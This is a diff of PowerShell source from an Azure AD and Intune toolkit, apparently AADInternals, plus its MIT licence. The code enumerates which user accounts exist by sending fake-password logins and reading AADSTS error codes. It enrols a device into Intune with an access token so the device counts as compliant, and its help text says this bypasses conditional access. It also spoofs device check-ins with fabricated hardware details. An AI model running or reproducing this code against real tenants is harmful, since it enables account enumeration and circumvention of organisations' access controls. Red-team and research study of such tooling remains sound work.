)
|
||||
Process
|
||||
{
|
||||
$exists = $false
|
||||
|
||||
if($Method -eq "Normal")
|
||||
{
|
||||
# Get the credential type information
|
||||
$credType=Get-CredentialType -UserName $User
|
||||
|
||||
# Works only if desktop sso (aka. Seamless SSO) is enabled
|
||||
# Since August 2021 this seems to work for all tenants!
|
||||
#if($credType.EstsProperties.DesktopSsoEnabled -eq "True")
|
||||
#{
|
||||
# Return empty if throttling
|
||||
if($credType.ThrottleStatus -eq 1)
|
||||
{
|
||||
Write-Warning "Requests throttled!"
|
||||
Remove-Variable exists
|
||||
}
|
||||
else
|
||||
{
|
||||
$exists = $credType.IfExistsResult -eq 0 -or $credType.IfExistsResult -eq 6
|
||||
}
|
||||
#}
|
||||
#else
|
||||
#{
|
||||
# Remove-Variable exists
|
||||
#}
|
||||
}
|
||||
else
|
||||
{
|
||||
if($Method -eq "Login")
|
||||
{
|
||||
# Try to log in as the user
|
||||
$randomGuid = New-Guid
|
||||
$body = @{
|
||||
"resource"=$randomGuid
|
||||
"client_id"=$randomGuid
|
||||
"grant_type"="password"
|
||||
"username"=$User
|
||||
"password"="none"
|
||||
"scope"="openid"
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$jsonResponse=Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Method POST -Body $body -Headers $headers
|
||||
$exists = $True # May be should change password..?
|
||||
}
|
||||
catch
|
||||
{
|
||||
$errorDetails = ($_.ErrorDetails.Message | convertfrom-json).error_description
|
||||
}
|
||||
}
|
||||
elseif($Method -eq "Autologon")
|
||||
{
|
||||
$requestId = (New-Guid).ToString()
|
||||
|
||||
$domain = $User.Split("@")[1]
|
||||
$password = "none"
|
||||
|
||||
$now = Get-Date
|
||||
$created = $now.toUniversalTime().toString("o")
|
||||
$expires = $now.addMinutes(10).toUniversalTime().toString("o")
|
||||
|
||||
$url = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid"
|
||||
|
||||
$body=@"
|
||||
<?xml version='1.0' encoding='UTF-8'?>
|
||||
<s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope' xmlns:wsse='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' xmlns:saml='urn:oasis:names:tc:SAML:1.0:assertion' xmlns:wsp='http://schemas.xmlsoap.org/ws/2004/09/policy' xmlns:wsu='http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd' xmlns:wsa='http://www.w3.org/2005/08/addressing' xmlns:wssc='http://schemas.xmlsoap.org/ws/2005/02/sc' xmlns:wst='http://schemas.xmlsoap.org/ws/2005/02/trust' xmlns:ic='http://schemas.xmlsoap.org/ws/2005/05/identity'>
|
||||
<s:Header>
|
||||
<wsa:Action s:mustUnderstand='1'>http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</wsa:Action>
|
||||
<wsa:To s:mustUnderstand='1'>$url</wsa:To>
|
||||
<wsa:MessageID>urn:uuid:$((New-Guid).ToString())</wsa:MessageID>
|
||||
<wsse:Security s:mustUnderstand="1">
|
||||
<wsu:Timestamp wsu:Id="_0">
|
||||
<wsu:Created>$created</wsu:Created>
|
||||
<wsu:Expires>$expires</wsu:Expires>
|
||||
</wsu:Timestamp>
|
||||
<wsse:UsernameToken wsu:Id="uuid-$((New-Guid).toString())">
|
||||
<wsse:Username>$User</wsse:Username>
|
||||
<wsse:Password>$Password</wsse:Password>
|
||||
</wsse:UsernameToken>
|
||||
</wsse:Security>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
<wst:RequestSecurityToken Id='RST0'>
|
||||
<wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType>
|
||||
<wsp:AppliesTo>
|
||||
<wsa:EndpointReference>
|
||||
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
|
||||
</wsa:EndpointReference>
|
||||
</wsp:AppliesTo>
|
||||
<wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType>
|
||||
</wst:RequestSecurityToken>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
"@
|
||||
$exists = $false
|
||||
|
||||
try
|
||||
{
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Body $body -ErrorAction SilentlyContinue
|
||||
$exists = $true # Very bad password
|
||||
}
|
||||
catch
|
||||
{
|
||||
$stream = $_.Exception.Response.GetResponseStream()
|
||||
$responseBytes = New-Object byte[] $stream.Length
|
||||
|
||||
$stream.Position = 0
|
||||
$stream.Read($responseBytes,0,$stream.Length) | Out-Null
|
||||
|
||||
$responseXml = [xml][text.encoding]::UTF8.GetString($responseBytes)
|
||||
|
||||
$errorDetails = $responseXml.Envelope.Body.Fault.Detail.error.internalerror.text
|
||||
}
|
||||
}
|
||||
|
||||
# Parse the error code. Only AADSTS50034 would need to be checked but good to know other errors too.
|
||||
if(!$exists -and $errorDetails)
|
||||
{
|
||||
if($errorDetails.startsWith("AADSTS50053")) # The account is locked, you've tried to sign in too many times with an incorrect user ID or password.
|
||||
{
|
||||
$exists = $True
|
||||
}
|
||||
elseif($errorDetails.StartsWith("AADSTS50126")) # Error validating credentials due to invalid username or password.
|
||||
{
|
||||
$exists = $True
|
||||
}
|
||||
elseif($errorDetails.StartsWith("AADSTS50076")) # Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access '{resource}'
|
||||
{
|
||||
$exists = $True
|
||||
}
|
||||
elseif($errorDetails.StartsWith("AADSTS700016")) # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'. This can happen if the application has not been installed by the administrator of the tenant or consented to by any user in the tenant. You may have sent your authentication request to the wrong tenant.
|
||||
{
|
||||
$exists = $True
|
||||
}
|
||||
elseif($errorDetails.StartsWith("AADSTS50034")) # The user account {identifier} does not exist in the {tenant} directory. To sign into this application, the account must be added to the directory.
|
||||
{
|
||||
$exists = $False
|
||||
}
|
||||
else
|
||||
{
|
||||
Remove-Variable exists
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $exists
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2018-2019 Gerenios Ltd / Nestori Syynimaa
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,801 @@
|
||||
# This file contains functions for Intune MDM
|
||||
|
||||
# Enroll device to Intune MDM
|
||||
# Aug 29th
|
||||
function Join-DeviceToIntune
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Registers (enrolls) the given device to Intune.
|
||||
|
||||
.DESCRIPTION
|
||||
Enrolls the given device to Intune and generates a corresponding certificate.
|
||||
|
||||
After enrollment, the device is in compliant state (depends on the Intune configuration), which allows bypassing conditional access (CA) restrictions based on the compliance.
|
||||
|
||||
The certificate has no password.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to enroll the device. Must have deviceid claim!
|
||||
If not given, will be prompted.
|
||||
|
||||
.Parameter DeviceName
|
||||
The name of the device to be registered.
|
||||
|
||||
.EXAMPLE
|
||||
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
|
||||
|
||||
PS C\:>Join-AADIntDeviceToIntune -DeviceName "My computer"
|
||||
|
||||
Intune client certificate successfully created:
|
||||
Subject: "CN=5ede6e7a-7b77-41bd-bfe0-ef29ca70a3fb"
|
||||
Issuer: "CN=Microsoft Intune MDM Device CA"
|
||||
Cert thumbprint: A1D407FF66EF05D153B67129B8541058A1C395B1
|
||||
Cert file name: "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx"
|
||||
CA file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-CA.der"
|
||||
IntMedCA file : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-INTMED-CA.der"
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "29d9ed98-a469-4536-ade2-f981bc1d605e" -Resource "https://enrollment.manage.microsoft.com/"
|
||||
|
||||
# Get the claims
|
||||
$claims = Read-Accesstoken -AccessToken $AccessToken
|
||||
|
||||
if(!$claims.deviceid)
|
||||
{
|
||||
throw "No device id included in access token! Use Get-AADIntAccessTokenForIntuneMDM with the device certificate and try again."
|
||||
}
|
||||
|
||||
# If the username starts with package_ assume it be a BPRT
|
||||
$BPRT = $claims.upn.StartsWith("package_")
|
||||
|
||||
try
|
||||
{
|
||||
$joinInfo = Enroll-DeviceToMDM -AccessToken $AccessToken -DeviceName $DeviceName -BPRT $BPRT
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error $_.ErrorDetails.Message
|
||||
return
|
||||
}
|
||||
|
||||
# Get the certificates
|
||||
$CA = $joinInfo[0]
|
||||
$IntMedCA = $joinInfo[1]
|
||||
$clientCertificate = $joinInfo[2]
|
||||
|
||||
Set-BinaryContent -Path "$($claims.deviceid)-MDM.pfx" -Value $clientCertificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx)
|
||||
|
||||
$CA | Set-Content "$($claims.deviceid)-MDM-CA.der"
|
||||
$IntMedCA | Set-Content "$($claims.deviceid)-MDM-INTMED-CA.der"
|
||||
|
||||
# Unload the private key
|
||||
Unload-PrivateKey -PrivateKey $clientCertificate.privateKey
|
||||
|
||||
# Print out information
|
||||
Write-Host "Intune client certificate successfully created:"
|
||||
Write-Host " Subject: ""$($clientCertificate.Subject)"""
|
||||
Write-Host " Issuer: ""$($clientCertificate.Issuer)"""
|
||||
Write-Host " Cert thumbprint: $($clientCertificate.Thumbprint)"
|
||||
Write-host " Cert file name: ""$($claims.deviceid)-MDM.pfx"""
|
||||
Write-host " CA file name : ""$($claims.deviceid)-MDM-CA.der"""
|
||||
Write-host " IntMedCA file : ""$($claims.deviceid)-MDM-INTMED-CA.der"""
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Sep 2nd 2020
|
||||
function Start-DeviceIntuneCallback
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Starts a device callback to Intune.
|
||||
|
||||
.DESCRIPTION
|
||||
Starts a device callback to Intune. Resets also the name of the device to given device name.
|
||||
|
||||
.Parameter DeviceName
|
||||
The name the device to be seen in Intune portal.
|
||||
|
||||
.EXAMPLE
|
||||
Start-AADIntDeviceIntuneCallback -pfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7MDM.pfx
|
||||
|
||||
.Parameter Certificate
|
||||
x509 certificate of the device.
|
||||
|
||||
.Parameter PfxFileName
|
||||
File name of the .pfx certificate of the device.
|
||||
|
||||
.Parameter PfxPassword
|
||||
The password of the .pfx certificate of the device.
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
|
||||
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
|
||||
[string]$PfxFileName,
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
|
||||
[string]$PfxPassword,
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$DeviceName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("User","Others","None")]
|
||||
[string]$Scope="None",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$SessionId=1
|
||||
)
|
||||
Begin
|
||||
{
|
||||
# CPS Version xml
|
||||
$CSPVersions = @"
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<DeviceManageability Version="com.microsoft/1.1/MDM/DeviceManageability">
|
||||
<Capabilities>
|
||||
<CSPVersions>
|
||||
<CSP Node="./DevDetail" Version="1.1"/>
|
||||
<CSP Node="./DevInfo" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/AssignedAccess" Version="4.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/BitLocker" Version="5.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/ClientCertificateInstall" Version="1.1"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/DMClient" Version="1.5"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/DeclaredConfiguration" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/DeviceManageability" Version="2.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/DeviceUpdateCenter" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/EnterpriseDataProtection" Version="4.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/OfflineDomainJoin" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/OptionalFeatures" Version="1.1"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/PassportForWork" Version="1.4"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/Policy" Version="9.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/PolicyManager/Security" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/Reboot" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/RemoteLock" Version="1.1"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/VPNv2" Version="1.0"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/WindowsAdvancedThreatProtection" Version="1.2"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/WindowsDefenderApplicationGuard" Version="1.3"/>
|
||||
<CSP Node="./Device/Vendor/MSFT/WindowsLicensing" Version="1.3"/>
|
||||
<CSP Node="./SyncML/DMAcc" Version="1.0"/>
|
||||
<CSP Node="./SyncML/DMS" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/ActiveSync" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/ClientCertificateInstall" Version="1.1"/>
|
||||
<CSP Node="./User/Vendor/MSFT/DMClient" Version="1.5"/>
|
||||
<CSP Node="./User/Vendor/MSFT/DMSessionActions" Version="1.1"/>
|
||||
<CSP Node="./User/Vendor/MSFT/DeclaredConfiguration" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/EMAIL2" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"/>
|
||||
<CSP Node="./User/Vendor/MSFT/NodeCache" Version="1.2"/>
|
||||
<CSP Node="./User/Vendor/MSFT/PassportForWork" Version="1.4"/>
|
||||
<CSP Node="./User/Vendor/MSFT/Policy" Version="9.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/PolicyManager/Security" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"/>
|
||||
<CSP Node="./User/Vendor/MSFT/VPNv2" Version="1.0"/>
|
||||
<CSP Node="./User/Vendor/MSFT/WiFi" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/ActiveSync" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/AppLocker" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/CMPolicy" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/CMPolicyEnterprise" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/CellularSettings" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/CertificateStore" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/CleanPC" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/DMClient" Version="1.5"/>
|
||||
<CSP Node="./Vendor/MSFT/DMSessionActions" Version="1.1"/>
|
||||
<CSP Node="./Vendor/MSFT/DeclaredConfiguration" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/Defender" Version="1.3"/>
|
||||
<CSP Node="./Vendor/MSFT/DeviceLock" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/DeviceStatus" Version="1.5"/>
|
||||
<CSP Node="./Vendor/MSFT/DeviceUpdate" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/DiagnosticLog" Version="1.4"/>
|
||||
<CSP Node="./Vendor/MSFT/DynamicManagement" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/EMAIL2" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/EnterpriseAPN" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"/>
|
||||
<CSP Node="./Vendor/MSFT/Firewall" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/HealthAttestation" Version="1.3"/>
|
||||
<CSP Node="./Vendor/MSFT/Maps" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/MultiSIM" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/NetworkProxy" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/NodeCache" Version="1.2"/>
|
||||
<CSP Node="./Vendor/MSFT/Office" Version="1.5"/>
|
||||
<CSP Node="./Vendor/MSFT/PassportForWork" Version="1.4"/>
|
||||
<CSP Node="./Vendor/MSFT/Personalization" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/Policy" Version="9.0"/>
|
||||
<CSP Node="./Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/PolicyManager/Security" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/RemoteFind" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/RemoteLock" Version="1.1"/>
|
||||
<CSP Node="./Vendor/MSFT/RemoteWipe" Version="1.1"/>
|
||||
<CSP Node="./Vendor/MSFT/Reporting" Version="2.1"/>
|
||||
<CSP Node="./Vendor/MSFT/SUPL" Version="1.1"/>
|
||||
<CSP Node="./Vendor/MSFT/SecureAssessment" Version="1.1"/>
|
||||
<CSP Node="./Vendor/MSFT/SecurityPolicy" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/SharedPC" Version="1.2"/>
|
||||
<CSP Node="./Vendor/MSFT/Storage" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/TPMPolicy" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/TenantLockdown" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/UnifiedWriteFilter" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/Update" Version="1.1"/>
|
||||
<CSP Node="./Vendor/MSFT/VPNv2" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/WiFi" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/Win32AppInventory" Version="1.0"/>
|
||||
<CSP Node="./Vendor/MSFT/WindowsLicensing" Version="1.3"/>
|
||||
<CSP Node="./Vendor/MSFT/eUICCs" Version="1.2"/>
|
||||
<CSP Node="./Vendor/MSFT/uefi" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_AppInstallJob" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_Application" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_ApplicationFramework" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_ApplicationSetting" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_BrowserSecurityZones" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_BrowserSettings" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_Certificate" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_CertificateEnrollment" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_Client" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_ConfigSetting" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_EASPolicy" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_MgmtAuthority" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_RemoteAppUserCookie" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_RemoteApplication" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_Restrictions" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_RestrictionsUser" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_SecurityStatus" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_SecurityStatusUser" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_SideLoader" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_Updates" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_VpnApplicationTrigger" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_VpnConnection" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_WNSChannel" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_WNSConfiguration" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_WebApplication" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_WirelessProfile" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MDM_WirelessProfileXml" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MSFT_NetFirewallProfile" Version="1.0"/>
|
||||
<CSP Node="./cimv2/MSFT_VpnConnection" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_DisplayConfiguration" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_EncryptableVolume" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_InfraredDevice" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_LocalTime" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_LogicalDisk" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_NetworkAdapter" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_NetworkAdapterConfiguration" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_OperatingSystem" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_PhysicalMemory" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_PnPDevice" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_PortableBattery" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_Processor" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_QuickFixEngineering" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_Registry" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_Service" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_Share" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_SystemBIOS" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_SystemEnclosure" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_TimeZone" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_UTCTime" Version="1.0"/>
|
||||
<CSP Node="./cimv2/Win32_WindowsUpdateAgentVersion" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcAppOverride" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcGameOverride" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcGamesSettings" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcRating" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcRatingsDescriptor" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcRatingsSystem" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcSystemSettings" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcURLOverride" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcUserSettings" Version="1.0"/>
|
||||
<CSP Node="./cimv2/WpcWebSettings" Version="1.0"/>
|
||||
</CSPVersions>
|
||||
</Capabilities>
|
||||
</DeviceManageability>
|
||||
"@
|
||||
}
|
||||
Process
|
||||
{
|
||||
if(!$Certificate)
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
|
||||
}
|
||||
|
||||
# Initialise some variables
|
||||
#$sessionId = 1
|
||||
$msgId = 1 # Increased by one per message
|
||||
$hwId = (Convert-ByteArrayToHex -Bytes ([System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([text.encoding]::UTF8.GetBytes($DeviceName)))).ToUpper()
|
||||
$encDeviceName=[System.Web.HttpUtility]::HtmlEncode($DeviceName)
|
||||
|
||||
$tenantId = (New-Guid).ToString()
|
||||
|
||||
|
||||
# The default settings
|
||||
$settings = @{
|
||||
"./cimv2/Win32_OperatingSystem" = "Win32_OperatingSystem=@"
|
||||
"./cimv2/Win32_LogicalDisk" = "Win32_LogicalDisk.DeviceID=""C:""/Win32_LogicalDisk.DeviceID=""D:"""
|
||||
"./cimv2/Win32_OperatingSystem/Win32_OperatingSystem%3D%40/SystemDrive" = "C:"
|
||||
|
||||
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22AccountId%22/SettingValue" = "36684b40-1895-4ebf-b11d-b465be552b2f"
|
||||
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName3D%22AccountId%22/SettingValue" = "36684b40-1895-4ebf-b11d-b465be552b2f"
|
||||
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22ClientHealthStatus%22/SettingValue" = ""
|
||||
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22ClientDeploymentErrorCode%22/SettingValue" = ""
|
||||
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22ClientHealthLastSyncTime%22/SettingValue" = ""
|
||||
|
||||
|
||||
"./DevInfo/DevId" = $DeviceName
|
||||
"./DevInfo/Man" = "Microsoft Corporation"
|
||||
"./DevInfo/Mod" = "Virtual Machine"
|
||||
"./DevInfo/DmV" = "1.3"
|
||||
"./DevInfo/Lang" = "en-US"
|
||||
|
||||
"./DevDetail/SwV" = "10.0.18363.1016"
|
||||
"./DevDetail/FwV" = "Hyper-V UEFI Release v4.0"
|
||||
"./DevDetail/HwV" = "Hyper-V UEFI Release v4.0"
|
||||
"./DevDetail/OEM" = "Microsoft Corporation"
|
||||
"./DevDetail/DevTyp" = "Virtual Machine"
|
||||
|
||||
"./DevDetail/Ext/Microsoft/LocalTime" = "$((Get-Date).ToString("yyyy-MM-ddTHH:mm:ss").Replace(".",":")).$((Get-Date).ToString("fffffffK"))"
|
||||
"./DevDetail/Ext/Microsoft/DeviceName" = $encDeviceName
|
||||
"./DevDetail/Ext/Microsoft/DNSComputerName" = $encDeviceName
|
||||
"./DevDetail/Ext/Microsoft/OSPlatform" = "Windows 10 Enterprise"
|
||||
"./DevDetail/Ext/Microsoft/ProcessorArchitecture" = "9"
|
||||
"./DevDetail/Ext/Microsoft/ProcessorType" = "8664"
|
||||
"./DevDetail/Ext/Microsoft/TotalRAM" = "1"
|
||||
"./DevDetail/Ext/Microsoft/TotalStorage" = "1"
|
||||
"./DevDetail/Ext/Microsoft/SMBiosSerialNumber" = "0000-0000-0000-0000-0000-0000-00"
|
||||
"./DevDetail/Ext/Microsoft/MobileID" = "Not Present"
|
||||
|
||||
"./Vendor/MSFT/eUICCs" = "com.microsoft/1.2/MDM/eUICCs"
|
||||
|
||||
"./Vendor/MSFT/EnterpriseModernAppManagement/AppManagement/nonStore" = "Mimikatz"
|
||||
